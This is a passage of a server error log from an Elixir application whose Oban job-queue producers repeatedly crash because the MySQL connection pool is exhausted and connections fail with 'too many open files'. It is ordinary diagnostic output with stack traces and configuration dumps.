    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:11:21.241131Z], limit: 5, uuid: "0cf35ad1-1b9f-48d6-8e91-6f57e1f20c9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:21.241136Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257516>, refresh_timer: #Reference<0.2525715032.1121189889.110386>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:11:21.239559Z], limit: 50, uuid: "8f21b926-9897-4bff-80c5-eb3f955f29e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:21.239567Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257518>, refresh_timer: #Reference<0.2525715032.1121189889.110378>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:11:21.240953Z], limit: 5, uuid: "d9982a59-4498-4b11-a65a-60682ecca393", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:21.240959Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257517>, refresh_timer: #Reference<0.2525715032.1121189889.110379>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:33.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:11:21.244773Z], limit: 20, uuid: "9511c7ab-112b-441e-8ff4-02aaabdef409", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:21.244778Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.240403>, refresh_timer: #Reference<0.2525715032.1068236804.257508>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:11:21.242213Z], limit: 3, uuid: "527bbf54-1b90-4157-98fd-9f3e0023ffc0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:21.242218Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257519>, refresh_timer: #Reference<0.2525715032.1099431938.8807>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:33.849000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:36.089000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:36.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:38.972000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:11:27.237589Z], limit: 10, uuid: "027efbd3-3eb3-436e-8627-ccce32351e94", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:27.237598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257705>, refresh_timer: #Reference<0.2525715032.1077411843.240440>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:41.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:41.943000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:43.233000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:43.684000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:11:33.250183Z], limit: 3, uuid: "21423002-5ddd-41dd-9953-36ae1f9a4a09", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:33.250189Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.8921>, refresh_timer: #Reference<0.2525715032.1099431938.8920>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:11:33.242440Z], limit: 5, uuid: "7f189e02-45c6-4122-9779-5a8745b900ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:33.242445Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257921>, refresh_timer: #Reference<0.2525715032.1121189889.110458>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:11:33.241346Z], limit: 5, uuid: "ce5e0629-eaf4-4eb2-93c6-aa6fe12c63c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:33.241353Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257920>, refresh_timer: #Reference<0.2525715032.1121189889.110456>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
